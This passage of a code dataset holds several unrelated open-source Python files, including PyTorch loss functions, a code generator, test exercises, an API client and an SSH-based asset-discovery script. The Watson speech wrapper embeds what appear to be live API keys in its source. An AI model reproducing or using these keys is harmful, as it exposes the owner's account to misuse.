"MIT"} {"text": "import torch\nimport numpy as np\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torchvision.models as models\nfrom model.laplacian import LapLoss\n\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n\nclass EPE(nn.Module):\n def __init__(self):\n super(EPE, self).__init__()\n\n def forward(self, flow, gt, loss_mask):\n loss_map = (flow - gt.detach()) ** 2\n loss_map = (loss_map.sum(1, True) + 1e-6) ** 0.5\n return (loss_map * loss_mask)\n\n\nclass Ternary(nn.Module):\n def __init__(self):\n super(Ternary, self).__init__()\n patch_size = 7\n out_channels = patch_size * patch_size\n self.w = np.eye(out_channels).reshape(\n (patch_size, patch_size, 1, out_channels))\n self.w = np.transpose(self.w, (3, 2, 0, 1))\n self.w = torch.tensor(self.w).float().to(device)\n\n def transform(self, img):\n patches = F.conv2d(img, self.w, padding=3, bias=None)\n transf = patches - img\n transf_norm = transf / torch.sqrt(0.81 + transf**2)\n return transf_norm\n\n def rgb2gray(self, rgb):\n r, g, b = rgb[:, 0:1, :, :], rgb[:, 1:2, :, :], rgb[:, 2:3, :, :]\n gray = 0.2989 * r + 0.5870 * g + 0.1140 * b\n return gray\n\n def hamming(self, t1, t2):\n dist = (t1 - t2) ** 2\n dist_norm = torch.mean(dist / (0.1 + dist), 1, True)\n return dist_norm\n\n def valid_mask(self, t, padding):\n n, _, h, w = t.size()\n inner = torch.ones(n, 1, h - 2 * padding, w - 2 * padding).type_as(t)\n mask = F.pad(inner, [padding] * 4)\n return mask\n\n def forward(self, img0, img1):\n img0 = self.transform(self.rgb2gray(img0))\n img1 = self.transform(self.rgb2gray(img1))\n return self.hamming(img0, img1) * self.valid_mask(img0, 1)\n\n\nclass SOBEL(nn.Module):\n def __init__(self):\n super(SOBEL, self).__init__()\n self.kernelX = torch.tensor([\n [1, 0, -1],\n [2, 0, -2],\n [1, 0, -1],\n ]).float()\n self.kernelY = self.kernelX.clone().T\n self.kernelX = self.kernelX.unsqueeze(0).unsqueeze(0).to(device)\n self.kernelY = self.kernelY.unsqueeze(0).unsqueeze(0).to(device)\n\n def forward(self, pred, gt):\n N, C, H, W = pred.shape[0], pred.shape[1], pred.shape[2], pred.shape[3]\n img_stack = torch.cat(\n [pred.reshape(N*C, 1, H, W), gt.reshape(N*C, 1, H, W)], 0)\n sobel_stack_x = F.conv2d(img_stack, self.kernelX, padding=1)\n sobel_stack_y = F.conv2d(img_stack, self.kernelY, padding=1)\n pred_X, gt_X = sobel_stack_x[:N*C], sobel_stack_x[N*C:]\n pred_Y, gt_Y = sobel_stack_y[:N*C], sobel_stack_y[N*C:]\n\n L1X, L1Y = torch.abs(pred_X-gt_X), torch.abs(pred_Y-gt_Y)\n loss = (L1X+L1Y)\n return loss\n\nclass MeanShift(nn.Conv2d):\n def __init__(self, data_mean, data_std, data_range=1, norm=True):\n c = len(data_mean)\n super(MeanShift, self).__init__(c, c, kernel_size=1)\n std = torch.Tensor(data_std)\n self.weight.data = torch.eye(c).view(c, c, 1, 1)\n if norm:\n self.weight.data.div_(std.view(c, 1, 1, 1))\n self.bias.data = -1 * data_range * torch.Tensor(data_mean)\n self.bias.data.div_(std)\n else:\n self.weight.data.mul_(std.view(c, 1, 1, 1))\n self.bias.data = data_range * torch.Tensor(data_mean)\n self.requires_grad = False\n \nclass VGGPerceptualLoss(torch.nn.Module):\n def __init__(self, rank=0):\n super(VGGPerceptualLoss, self).__init__()\n blocks = []\n pretrained = True\n self.vgg_pretrained_features = models.vgg19(pretrained=pretrained).features\n self.normalize = MeanShift([0.485, 0.456, 0.406], [0.229, 0.224, 0.225], norm=True).cuda()\n for param in self.parameters():\n param.requires_grad = False\n\n def forward(self, X, Y, indices=None):\n X = self.normalize(X)\n Y = self.normalize(Y)\n indices = [2, 7, 12, 21, 30]\n weights = [1.0/2.6, 1.0/4.8, 1.0/3.7, 1.0/5.6, 10/1.5]\n k = 0\n loss = 0\n for i in range(indices[-1]):\n X = self.vgg_pretrained_features[i](X)\n Y = self.vgg_pretrained_features[i](Y)\n if (i+1) in indices:\n loss += weights[k] * (X - Y.detach()).abs().mean() * 0.1\n k += 1\n return loss\n\n# flow could have any channels.\n# https://github.com/coolbeam/OIFlow/blob/main/utils/tools.py\ndef flow_smooth_delta(flow, if_second_order=False):\n def gradient(x):\n D_dx = x[:, :, :, 1:] - x[:, :, :, :-1]\n D_dy = x[:, :, 1:] - x[:, :, :-1]\n return D_dx, D_dy\n\n dx, dy = gradient(flow)\n # dx2, dxdy = gradient(dx)\n # dydx, dy2 = gradient(dy)\n if if_second_order:\n dx2, dxdy = gradient(dx)\n dydx, dy2 = gradient(dy)\n smooth_loss = dx.abs().mean() + dy.abs().mean() + dx2.abs().mean() + dxdy.abs().mean() + dydx.abs().mean() + dy2.abs().mean()\n else:\n smooth_loss = dx.abs().mean() + dy.abs().mean()\n # smooth_loss = dx.abs().mean() + dy.abs().mean() # + dx2.abs().mean() + dxdy.abs().mean() + dydx.abs().mean() + dy2.abs().mean()\n # \u6682\u65f6\u4e0d\u4e0a\u4e8c\u9636\u7684\u5e73\u6ed1\u635f\u5931\uff0c\u4f3c\u4e4e\u52a0\u4e0a\u4ee5\u540e\u5c31\u592a\u731b\u4e86\uff0c\u65e0\u6cd5\u964d\u4f4ephoto loss TODO\n return smooth_loss\n\n# flow should have 4 channels.\n# https://github.com/coolbeam/OIFlow/blob/main/utils/tools.py\n# weight_type='exp' seems to perform better than 'gauss'.\ndef edge_aware_smoothness_order1(img0, img1, flow, constant=1.0, weight_type='exp', error_type='L1'):\n def weight_fn(x):\n if weight_type == 'gauss':\n y = x ** 2\n elif weight_type == 'exp':\n y = torch.abs(x)\n else:\n raise ValueError('')\n return y\n\n def gradient_xy(img):\n gx = img[:, :, :, :-1] - img[:, :, :, 1:]\n gy = img[:, :, :-1, :] - img[:, :, 1:, :]\n return gx, gy\n\n def gradweight_xy(img0, img1):\n img0_gx, img0_gy = gradient_xy(img0)\n img1_gx, img1_gy = gradient_xy(img1)\n\n img0_wx = torch.exp(-torch.mean(weight_fn(constant * img0_gx), 1, keepdim=True))\n img0_wy = torch.exp(-torch.mean(weight_fn(constant * img0_gy), 1, keepdim=True))\n img1_wx = torch.exp(-torch.mean(weight_fn(constant * img1_gx), 1, keepdim=True))\n img1_wy = torch.exp(-torch.mean(weight_fn(constant * img1_gy), 1, keepdim=True))\n \n # First two flow channels: 1->0 flow. So use img1 weights.\n # Second two flow channels: 0->1 flow. So use img0 weights.\n # weights_x and weights_y are for x and y's spatial gradients, respectively.\n weights_x = torch.cat([img1_wx, img1_wx, img0_wx, img0_wx], dim=1)\n weights_y = torch.cat([img1_wy, img0_wy, img0_wy, img1_wy], dim=1)\n\n return weights_x, weights_y\n\n def error_fn(x):\n if error_type == 'L1':\n y = torch.abs(x)\n elif error_type == 'abs_robust':\n y = (torch.abs(x) + 0.01).pow(0.4)\n else:\n raise ValueError('')\n return y\n\n # The flow gradients along x, y axes, respectively. \n # flow_gx, flow_gy have the same number of channels as flow.\n # No matter the flow is x- or y-flow, it should be smooth along both x and y axes.\n # I.e., a y-flow should also be smooth along x-axis, and x-flow should also be smooth along y-axis.\n flow_gx, flow_gy = gradient_xy(flow)\n # weights_x, weights_y both have 4 channels, same as flow_gx and flow_gy (if the input flow has 4 channels).\n weights_x, weights_y = gradweight_xy(img0, img1)\n\n smoothness_x = error_fn(flow_gx) * weights_x\n smoothness_y = error_fn(flow_gy) * weights_y\n return torch.mean(smoothness_x) + torch.mean(smoothness_y)\n\n\n# Dual teaching helps slightly.\ndef dual_teaching_loss(mid_gt, img_stu, flow_stu, img_tea, flow_tea):\n loss_distill = 0\n # Ws[0]: weight of teacher -> student.\n # Ws[1]: weight of student -> teacher.\n # Two directions could take different weights.\n # Set Ws[1] to 0 to disable student -> teacher.\n Ws = [1, 0.5]\n use_lap_loss = False\n # Laplacian loss performs better in earlier epochs, but worse in later epochs.\n # Moreover, Laplacian loss is significantly slower.\n if use_lap_loss:\n loss_fun = LapLoss(max_levels=3, reduction='none')\n else:\n loss_fun = nn.L1Loss(reduction='none')\n\n for i in range(2):\n student_error = loss_fun(img_stu, mid_gt).mean(1, True)\n teacher_error = loss_fun(img_tea, mid_gt).mean(1, True)\n # distill_mask indicates where the warped images according to student's prediction \n # is worse than that of the teacher.\n # If at some points, the warped image of the teacher is better than the student,\n # then regard the flow at these points are more accurate, and use them to teach the student.\n distill_mask = (student_error > teacher_error + 0.01).float().detach()\n\n # loss_distill is the sum of the distillation losses at 2 directions.\n loss_distill += Ws[i] * ((flow_tea.detach() - flow_stu).abs() * distill_mask).mean()\n\n # Swap student and teacher, and calculate the distillation loss again.\n img_stu, flow_stu, img_tea, flow_tea = \\\n img_tea, flow_tea, img_stu, flow_stu\n # The distillation loss from the student to the teacher is given a smaller weight.\n\n # loss_distill = loss_distill / 2 \n return loss_distill\n\nif __name__ == '__main__':\n img0 = torch.zeros(3, 3, 256, 256).float().to(device)\n img1 = torch.tensor(np.random.normal(\n 0, 1, (3, 3, 256, 256))).float().to(device)\n ternary_loss = Ternary()\n print(ternary_loss(img0, img1).shape)\n", "source": "askerlee/rift", "license": "MIT"} {"text": "\"\"\"Simple example to show how to use weave.inline on SWIG2 wrapped\nobjects. SWIG2 refers to SWIG versions >= 1.3.\n\nTo run this example you must build the trivial SWIG2 extension called\nswig2_ext. To do this you need to do something like this::\n\n $ swig -c++ -python -I. -o swig2_ext_wrap.cxx swig2_ext.i\n\n $ g++ -Wall -O2 -I/usr/include/python2.3 -fPIC -I. -c \\\n -o swig2_ext_wrap.os swig2_ext_wrap.cxx\n\n $ g++ -shared -o _swig2_ext.so swig2_ext_wrap.os \\\n -L/usr/lib/python2.3/config\n\nThe files swig2_ext.i and swig2_ext.h are included in the same\ndirectory that contains this file.\n\nNote that weave's SWIG2 support works fine whether SWIG_COBJECT_TYPES\nare used or not.\n\nAuthor: Prabhu Ramachandran\nCopyright (c) 2004, Prabhu Ramachandran\nLicense: BSD Style.\n\n\"\"\"\n\n# Import our SWIG2 wrapped library\nimport swig2_ext\n\nimport scipy.weave as weave\nfrom scipy.weave import swig2_spec, converters\n\n# SWIG2 support is not enabled by default. We do this by adding the\n# swig2 converter to the default list of converters.\nconverters.default.insert(0, swig2_spec.swig2_converter())\n\ndef test():\n \"\"\"Instantiate the SWIG wrapped object and then call its method\n from C++ using weave.inline\n\n \"\"\"\n a = swig2_ext.A()\n b = swig2_ext.foo() # This will be an APtr instance.\n b.thisown = 1 # Prevent memory leaks.\n code = \"\"\"a->f();\n b->f();\n \"\"\"\n weave.inline(code, ['a', 'b'], include_dirs=['.'],\n headers=['\"swig2_ext.h\"'], verbose=1)\n\n\nif __name__ == \"__main__\":\n test()\n", "source": "lesserwhirls/scipy-cwt", "license": "BSD-3-Clause"} {"text": "import ast\n\nfrom json_codegen.generators.python3_marshmallow.utils import Annotations, class_name\n\n\nclass ObjectGenerator(object):\n @staticmethod\n def _get_property_name(node_assign):\n name = node_assign.targets[0]\n return name.id\n\n @staticmethod\n def _nesting_class(node_assign):\n for node in ast.walk(node_assign):\n if isinstance(node, ast.Call):\n if node.func.attr == \"Nested\":\n return class_name(node.args[0].id)\n\n @staticmethod\n def _non_primitive_nested_list(node_assign):\n if node_assign.value.func.attr == \"List\":\n return (\n len(node_assign.value.args) > 0 and node_assign.value.args[0].func.attr == \"Nested\"\n )\n else:\n return False\n\n @staticmethod\n def _init_non_primitive_nested_class(node_assign, object_, prop):\n \"\"\"\n If the nested list is non-primitive, initialise sub-classes in a list comp\n If the nest is primitive, we can simply get it\n Marshmallow will do the type marshalling\n \"\"\"\n return ast.ListComp(\n elt=ast.Call(\n func=ast.Name(id=ObjectGenerator._nesting_class(node_assign)),\n args=[ast.Name(id=\"el\")],\n keywords=[],\n ),\n generators=[\n ast.comprehension(\n target=ast.Name(id=\"el\"),\n iter=ast.Call(\n func=ast.Attribute(value=ast.Name(id=object_), attr=\"get\"),\n args=[ast.Str(s=prop), ast.Dict(keys=[], values=[])],\n keywords=[],\n ),\n ifs=[],\n is_async=0,\n )\n ],\n )\n\n @staticmethod\n def _get_key_from_object(object_, prop):\n return ast.Call(\n func=ast.Attribute(value=ast.Name(id=object_), attr=\"get\"),\n args=[ast.Str(s=prop)],\n keywords=[],\n )\n\n @staticmethod\n def _hint_required_property(node_assign, value, object_, prop):\n for node in ast.walk(node_assign):\n if isinstance(node, ast.keyword):\n if \"required\" in node.arg:\n value = ast.Subscript(\n value=ast.Name(id=object_), slice=ast.Index(value=ast.Str(s=prop))\n )\n return value\n\n @staticmethod\n def _get_default_for_property(node_assign, value, object_, prop):\n\n for node in ast.walk(node_assign):\n if isinstance(node, ast.keyword) and node.arg == \"required\":\n return value\n\n for node in ast.walk(node_assign):\n if isinstance(node, ast.keyword) and node.arg == \"default\":\n default_value = [\n keyword.value\n for keyword in node_assign.value.keywords\n if keyword.arg == \"default\"\n ][0]\n value.args.append(default_value)\n return value\n else:\n return value\n\n @staticmethod\n def assign_property(node_assign, object_):\n \"\"\"\n Required property -> self.prop = parent_dict[\"prop\"]\n Optional property -> self.prop = parent_dict.get(\"prop\")\n Primative nested list -> self.prop = parent_dict.get(\"prop\")\n Non-primative nested list -> self.props = [PropertyClass(el) for el in parent_dict.get('props', {})]\n \"\"\"\n prop = ObjectGenerator._get_property_name(node_assign)\n\n if ObjectGenerator._non_primitive_nested_list(node_assign):\n value = ObjectGenerator._init_non_primitive_nested_class(node_assign, object_, prop)\n else:\n # Assign the property as self.prop = table.get(\"prop\")\n value = ObjectGenerator._get_key_from_object(object_, prop)\n\n # If the property is required, assign as self.prop = table[\"prop\"]\n value = ObjectGenerator._hint_required_property(node_assign, value, object_, prop)\n\n value = ObjectGenerator._get_default_for_property(node_assign, value, object_, prop)\n\n return ast.AnnAssign(\n target=ast.Attribute(value=ast.Name(id=\"self\"), attr=prop),\n value=value,\n simple=0,\n annotation=Annotations(node_assign).type,\n )\n\n @staticmethod\n def construct_class(schema):\n name = class_name(schema.name)\n name_lower = name.lower()\n\n # Bundle function arguments and keywords\n fn_arguments = ast.arguments(\n args=[\n ast.arg(arg=\"self\", annotation=None),\n ast.arg(arg=name_lower, annotation=ast.Name(id=\"dict\")),\n ],\n vararg=None,\n kwarg=None,\n kwonlyargs=[],\n kw_defaults=[],\n defaults=[],\n )\n\n fn_body = [\n ObjectGenerator.assign_property(node, name_lower)\n for node in schema.body\n if isinstance(node, ast.Assign)\n ]\n\n # pass if no Assign nodes\n if len(fn_body) == 0:\n fn_body = [ast.Pass()]\n\n # Generate class constructor\n class_body = [\n ast.FunctionDef(\n name=\"__init__\", args=fn_arguments, body=fn_body, decorator_list=[], returns=None\n ),\n ObjectGenerator._construct_to_(\"json\")(schema),\n ObjectGenerator._construct_to_(\"dict\")(schema),\n ObjectGenerator.construct_from_json(schema),\n ]\n\n return ast.ClassDef(name=name, bases=[], body=class_body, decorator_list=[], keywords=[])\n\n @staticmethod\n def _construct_to_(output):\n\n if output == \"json\":\n method = \"dumps\"\n elif output == \"dict\":\n method = \"dump\"\n else:\n raise NotImplementedError(\"Only deserialisation to json or dict supported\")\n\n def _construct_to_helper(schema):\n\n fn_args = ast.arguments(\n args=[ast.arg(arg=\"self\", annotation=None)],\n vararg=None,\n kwonlyargs=[],\n kw_defaults=[],\n kwarg=None,\n defaults=[],\n )\n\n fn_body = [\n ast.Return(\n value=ast.Attribute(\n value=ast.Call(\n func=ast.Attribute(\n value=ast.Call(\n func=ast.Name(id=schema.name),\n args=[],\n keywords=[\n ast.keyword(\n arg=\"strict\", value=ast.NameConstant(value=True)\n )\n ],\n ),\n attr=method,\n ),\n args=[ast.Name(id=\"self\")],\n keywords=[],\n ),\n attr=\"data\",\n )\n )\n ]\n\n return ast.FunctionDef(\n name=f\"to_{output}\", args=fn_args, body=fn_body, decorator_list=[], returns=None\n )\n\n return _construct_to_helper\n\n @staticmethod\n def construct_from_json(schema):\n\n fn_args = ast.arguments(\n args=[\n ast.arg(arg=\"json\", annotation=ast.Name(id=\"str\")),\n ast.arg(arg=\"only\", annotation=None),\n ],\n vararg=None,\n kwonlyargs=[],\n kw_defaults=[],\n kwarg=None,\n defaults=[ast.NameConstant(value=None)],\n )\n\n fn_body = [\n ast.Return(\n ast.Attribute(\n value=ast.Call(\n func=ast.Attribute(\n value=ast.Call(\n func=ast.Name(id=schema.name),\n args=[],\n keywords=[\n ast.keyword(arg=\"strict\", value=ast.NameConstant(value=True)),\n ast.keyword(arg=\"only\", value=ast.Name(id=\"only\")),\n ],\n ),\n attr=\"loads\",\n ),\n args=[ast.Name(id=\"json\")],\n keywords=[],\n ),\n attr=\"data\",\n )\n )\n ]\n\n return ast.FunctionDef(\n name=\"from_json\",\n args=fn_args,\n body=fn_body,\n decorator_list=[ast.Name(id=\"staticmethod\")],\n returns=None,\n )\n", "source": "expobrain/json-schema-codegen", "license": "MIT"} {"text": "from ibm_watson import TextToSpeechV1, SpeechToTextV1, DetailedResponse\n\nfrom os import system\nfrom json import loads\n\n\nclass Converter:\n\n k_s2t_api_key = \"0pxCnJQ_r5Yy3SZDRhYS4XshrTMJyZEsuc45SbBcfGgf\"\n k_t2s_api_key = \"euoR7ZdLMOBd29wP1fNaZFJsqwKt45TUmwcVwpzbQBcA\"\n k_s2t_url = \"https://stream.watsonplatform.net/speech-to-text/api\"\n k_t2s_url = \"https://gateway-wdc.watsonplatform.net/text-to-speech/api\"\n k_t2s_voice = \"en-US_AllisonVoice\"\n k_t2s_format = \"audio/webm\"\n k_st2_model = \"en-US_NarrowbandModel\"\n\n def __init__(self):\n self.s2t = SpeechToTextV1(iam_apikey=self.k_s2t_api_key, url=self.k_s2t_url)\n self.t2s = TextToSpeechV1(iam_apikey=self.k_t2s_api_key, url=self.k_t2s_url)\n\n def read(self, string: str):\n return self.t2s.synthesize(\n string,\n voice=self.k_t2s_voice,\n accept=self.k_t2s_format\n ).get_result().content\n\n def listen(self, audio_input):\n try:\n result = self.s2t.recognize(audio_input, model=self.k_st2_model)\n result = loads(str(result))\n result = result[\"result\"][\"results\"][0][\"alternatives\"][0]['transcript']\n except Exception:\n return False, \"I don't understand what you are saying.\"\n return True, str(result)\n\n\ndef main():\n pass\n\n\nif __name__ == '__main__':\n main()\n", "source": "Sailer43/CSE5914Project", "license": "MIT"} {"text": "import functions\nfrom pytest import approx\nfrom bcca.test import should_print\n\n\ndef test_add_em_up():\n assert functions.add_em_up(1, 2, 3) == 6\n assert functions.add_em_up(4, 5, 6) == 15\n\n\ndef test_sub_sub_hubbub():\n assert functions.sub_sub_hubbub(1, 2, 3) == -4\n\n\ndef test_square_area():\n assert functions.square_area(5, 5) == 25\n assert functions.square_area(3, 5) == 15\n assert functions.square_area(2, 2) == 4\n\n\ndef test_circle_area():\n assert functions.circle_area(1) == approx(3.14)\n assert functions.circle_area(5) == approx(78.5)\n\n\ndef test_kilometers_to_miles():\n assert functions.kilometers_to_miles(1) == approx(0.6214)\n assert functions.kilometers_to_miles(.5) == approx(0.3107)\n assert functions.kilometers_to_miles(0) == approx(0.0)\n assert functions.kilometers_to_miles(40) == approx(24.855999999999998)\n\n\n@should_print\ndef test_sales_tax_1(output):\n functions.sales_tax(1)\n\n assert output == \"\"\"\nPurchase Amount: 1\nState Sales Tax: 0.04\nCounty Sales Tax: 0.02\nTotal Sales Tax: 0.06\nTotal Cost: 1.06\n\"\"\"\n\n\n@should_print\ndef test_sales_tax_99_99(output):\n functions.sales_tax(99.99)\n\n assert output == \"\"\"\nPurchase Amount: 99.99\nState Sales Tax: 3.9996\nCounty Sales Tax: 1.9998\nTotal Sales Tax: 5.9994\nTotal Cost: 105.98939999999999\n\"\"\"\n\n\n@should_print\ndef test_sales_tax_5_95(output):\n functions.sales_tax(5.95)\n\n assert output == \"\"\"\nPurchase Amount: 5.95\nState Sales Tax: 0.23800000000000002\nCounty Sales Tax: 0.11900000000000001\nTotal Sales Tax: 0.35700000000000004\nTotal Cost: 6.307\n\"\"\"\n\n\ndef test_min_insurance():\n assert functions.min_insurance(100000) == approx(80000.0)\n assert functions.min_insurance(123456789) == approx(98765431.2)\n assert functions.min_insurance(0) == approx(0.0)\n assert functions.min_insurance(-54317890) == approx(-43454312.0)\n\n\n@should_print\ndef test_property_tax_10000(output):\n functions.property_tax(10000)\n\n assert output == '''\nAssessment Value: 6000.0\nProperty Tax: 38.4\n'''\n\n\n@should_print\ndef test_property_tax_99999_95(output):\n functions.property_tax(99999.95)\n\n assert output == '''\nAssessment Value: 59999.969999999994\nProperty Tax: 383.999808\n'''\n\n\ndef test_bmi():\n assert functions.bmi(160, 67) == approx(25.05680552)\n assert functions.bmi(200, 72) == approx(27.12191358)\n assert functions.bmi(120, 60) == approx(23.43333333)\n\n\ndef test_calories():\n assert functions.calories(5, 20) == 125\n assert functions.calories(1, 1) == 13\n\n\ndef test_earnings():\n assert functions.earnings(100, 100, 100) == 3600\n assert functions.earnings(50, 75, 100) == 2550\n assert functions.earnings(0, 1000, 79) == 12711\n\n\n@should_print\ndef test_paint_job_estimator(output):\n functions.paint_job_estimator(50, 10)\n\n assert output == '''\nGallons of paint required: 0.43478260869565216\nHours of labor required: 3.4782608695652173\nCost of paint: 4.3478260869565215\nCost of labor: 69.56521739130434\nTotal Cost: 73.91304347826086\n'''\n\n\n@should_print\ndef test_paint_job_estimator_2(output):\n functions.paint_job_estimator(750, 15.95)\n\n assert output == '''\nGallons of paint required: 6.521739130434782\nHours of labor required: 52.17391304347826\nCost of paint: 104.02173913043477\nCost of labor: 1043.4782608695652\nTotal Cost: 1147.5\n'''\n\n\n@should_print\ndef test_monthly_sales_tax(output):\n functions.monthly_sales_tax(123456.79)\n\n assert output == '''\nMonthly sales: 123456.79\nState sales tax: 4938.2716\nCounty sales tax: 2469.1358\nTotal sales tax: 7407.4074\n'''\n\n\n@should_print\ndef test_monthly_sales_tax_2(output):\n functions.monthly_sales_tax(4321567.21)\n\n assert output == '''\nMonthly sales: 4321567.21\nState sales tax: 172862.6884\nCounty sales tax: 86431.3442\nTotal sales tax: 259294.03260000004\n'''\n", "source": "BaseCampCoding/python-fundamentals", "license": "MIT"} {"text": "import pydbhub\nfrom typing import Any, Dict, List, Tuple\nfrom json.decoder import JSONDecodeError\nimport requests\nimport io\n\n\ndef send_request_json(query_url: str, data: Dict[str, Any]) -> Tuple[List[Any], str]:\n \"\"\"\n send_request_json sends a request to DBHub.io, formatting the returned result as JSON\n\n Parameters\n ----------\n query_url : str\n url of the API endpoint\n data : Dict[str, Any]\n data to be processed to the server.\n\n Returns\n -------\n Tuple[List[Any], str]\n The returned data is\n - a list of JSON object.\n - a string describe error if occurs\n \"\"\"\n\n try:\n headers = {'User-Agent': f'pydbhub v{pydbhub.__version__}'}\n response = requests.post(query_url, data=data, headers=headers)\n response.raise_for_status()\n return response.json(), None\n except JSONDecodeError as e:\n return None, e.args[0]\n except TypeError as e:\n return None, e.args[0]\n except requests.exceptions.HTTPError as e:\n try:\n return response.json(), e.args[0]\n except JSONDecodeError:\n return None, e.args[0]\n except requests.exceptions.RequestException as e:\n cause = e.args(0)\n return None, str(cause.args[0])\n\n\ndef send_request(query_url: str, data: Dict[str, Any]) -> Tuple[List[bytes], str]:\n \"\"\"\n send_request sends a request to DBHub.io.\n\n Parameters\n ---- query_url : str\n url of the API endpoint\n data : Dict[str, Any]\n data to be processed to the server.------\n\n\n Returns\n -------\n List[bytes]\n database file is returned as a list of bytes\n \"\"\"\n try:\n headers = {'User-Agent': f'pydbhub v{pydbhub.__version__}'}\n response = requests.post(query_url, data=data, headers=headers)\n response.raise_for_status()\n return response.content, None\n except requests.exceptions.HTTPError as e:\n return None, e.args[0]\n except requests.exceptions.RequestException as e:\n cause = e.args(0)\n return None, str(cause.args[0])\n\n\ndef send_upload(query_url: str, data: Dict[str, Any], db_bytes: io.BufferedReader) -> Tuple[List[Any], str]:\n \"\"\"\n send_upload uploads a database to DBHub.io.\n\n Parameters\n ----------\n query_url : str\n url of the API endpoint.\n data : Dict[str, Any]\n data to be processed to the server.\n db_bytes : io.BufferedReader\n A buffered binary stream of the database file.\n\n Returns\n -------\n Tuple[List[Any], str]\n The returned data is\n - a list of JSON object.\n - a string describe error if occurs\n \"\"\"\n try:\n headers = {'User-Agent': f'pydbhub v{pydbhub.__version__}'}\n files = {\"file\": db_bytes}\n response = requests.post(query_url, data=data, headers=headers, files=files)\n response.raise_for_status()\n if response.status_code != 201:\n # The returned status code indicates something went wrong\n try:\n return response.json(), str(response.status_code)\n except JSONDecodeError:\n return None, str(response.status_code)\n return response.json(), None\n except requests.exceptions.HTTPError as e:\n try:\n return response.json(), e.args[0]\n except JSONDecodeError:\n return None, e.args[0]\n except requests.exceptions.RequestException as e:\n cause = e.args(0)\n return None, str(cause.args[0])\n", "source": "sum3105/pydbhub", "license": "MIT"} {"text": "import socket\nimport paramiko\nimport json\n\nHostname = '34.224.2.243'\nUsername = 'ec2-user'\nkey = 'G:/Projects/Python/Asset-Discovery-Tool/tool/s.pem'\n\n\ndef is_connected():\n try:\n # connect to the host -- tells us if the host is actually\n # reachable\n socket.create_connection((\"8.8.8.8\", 53))\n return \"conneted to the Internet!\"\n except OSError:\n pass\n return \"Please Connect to the Internet!\"\n\n\nis_connected()\ntry:\n ssh = paramiko.SSHClient()\n ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n ssh.connect(hostname=Hostname, username=Username, key_filename=key)\nexcept paramiko.AuthenticationException:\n print(\"Failed to connect to {} due to wrong username/password\".format(Hostname))\n exit(1)\nexcept:\n print(\"Failed to connect to {} \".format(Hostname))\n exit(2)\n\n# commands\n_, stdout_1, _ = ssh.exec_command(\"hostname\")\n_, stdout_2, _ = ssh.exec_command(\"hostname -I | awk '{print $1}'\")\n_, stdout_3, _ = ssh.exec_command(\"cat /sys/class/net/eth0/address\")\n_, stdout_4, _ = ssh.exec_command(\n \"awk -F= '$1=={} {{ print $2 ;}}' /etc/os-release\".format('\"NAME\"'))\n_, stdout_5, _ = ssh.exec_command(\"whoami\")\n_, stdout_6, _ = ssh.exec_command(\"last -F\")\n_, stdout_7, _ = ssh.exec_command(\"netstat -tnpa | grep 'ESTABLISHED.*sshd'\")\n#_, stdout_8, _ = ssh.exec_command(\"sudo {}/24\".format())\n# egrep -o '([0-9]{1,3}\\.){3}[0-9]{1,3}' --IP-address\n# ---------------------------------\n\n\ndef remote_data_1():\n output_1 = stdout_1.readlines()\n output_2 = stdout_2.readlines()\n output_3 = stdout_3.readlines()\n output_4 = stdout_4.readlines()\n output_5 = stdout_5.readlines()\n remote_data_1 = {\n 'Hostname': '',\n 'IP': '',\n 'MAC': '',\n 'OS': '',\n 'Currentuser': '',\n }\n\n remote_data_1['Hostname'] = output_1[0].strip('\\n')\n remote_data_1['IP'] = output_2[0].strip('\\n')\n remote_data_1['MAC'] = output_3[0].strip('\\n')\n remote_data_1['OS'] = output_4[0][1:-1].strip('\\\"')\n remote_data_1['Currentuser'] = output_5[0].strip('\\n')\n\n return json.dumps(remote_data_1, indent=4)\n\n# ----------------------------------\n\n\ndef remote_data_2_():\n output = stdout_6.readlines()\n data_ = []\n filter_ = []\n remote_data_2 = {\n 'Hostname': [],\n 'IP': [],\n 'MAC': [],\n 'Lastseen': [],\n 'Status': [],\n }\n\n for i in output:\n data_.append(i.split(' '))\n\n for i in data_:\n filter_.append(list(filter(None, i)))\n\n for i in range(len(filter_)-3):\n remote_data_2['Hostname'].append(filter_[i][0])\n remote_data_2['IP'].append(filter_[i][2])\n remote_data_2['MAC'].append('not found')\n remote_data_2['Lastseen'].append(' '.join(filter_[i][3:8]))\n if 'logged' in filter_[i][9]:\n remote_data_2['Status'].append('Active')\n else:\n remote_data_2['Status'].append('Inactive')\n # ssh.close()\n return remote_data_2\n", "source": "shanmukmichael/Asset-Discovery-Tool", "license": "MIT"} {"text": "#!/usr/bin/env python3\n\nfrom components import ProgramState\nimport binaryninja as binja\nimport argparse\nimport os.path\nimport curses\n\n# TODO...impliment live-refreashing the settings.json during run (add the keybinding and check for it here in the global input loop)\n# TODO...support multi-key presses? Not sure if this already works or not\n# TODO...make sure to support small terminals (I think it does right now, but I should add some more checks so nothing goes out of bounds)\n\ndef main(stdscr):\n # Setup\n parser = argparse.ArgumentParser(description='Nearly Headless BinaryNinja.')\n parser.add_argument('filename', nargs='?', default=\"\")\n args = parser.parse_args()\n\n program = ''\n if not args.filename == \"\":\n if os.path.isfile(args.filename):\n\n bv = binja.BinaryViewType.get_view_of_file(''.join(args.filename), False)\n bv.update_analysis()\n while not str(bv.analysis_progress) == \"Idle\":\n prog = bv.analysis_progress\n\n stdscr.erase()\n stdscr.border()\n\n state = ''\n if prog.state == binja.AnalysisState.DisassembleState:\n state = \"Disassembling\"\n else:\n state = \"Analyzing\"\n loadingText = \"Loading File: \"\n\n prog = int((prog.count/(prog.total+1))*34.0)\n stdscr.addstr(2, 4, loadingText)\n stdscr.addstr(2, 4 + len(loadingText), state)\n stdscr.addstr(4, 4, '[' + '#'*prog + ' '*(34-prog) + ']')\n stdscr.refresh()\n program = ProgramState(stdscr, bv)\n else:\n raise IOError(\"File does not exist.\")\n else:\n program = ProgramState(stdscr)\n\n key = \"\"\n while program.is_running:\n # Input Filtering\n try:\n key = stdscr.getkey()\n except curses.error as err:\n if not str(err) == \"no input\":\n raise curses.error(str(err))\n else:\n key = \"\" # Clear Key Buffer\n\n # Rendering and input\n program.parseInput(key)\n program.render()\n curses.doupdate()\n\n\nif __name__ == \"__main__\":\n background = \"2a2a2a\"\n text = \"e0e0e0\"\n curses.wrapper(main)\n", "source": "psifertex/nehebn2", "license": "MIT"} {"text": "#!/usr/bin/env python\n\n\"\"\"\nThis sample application is a server that 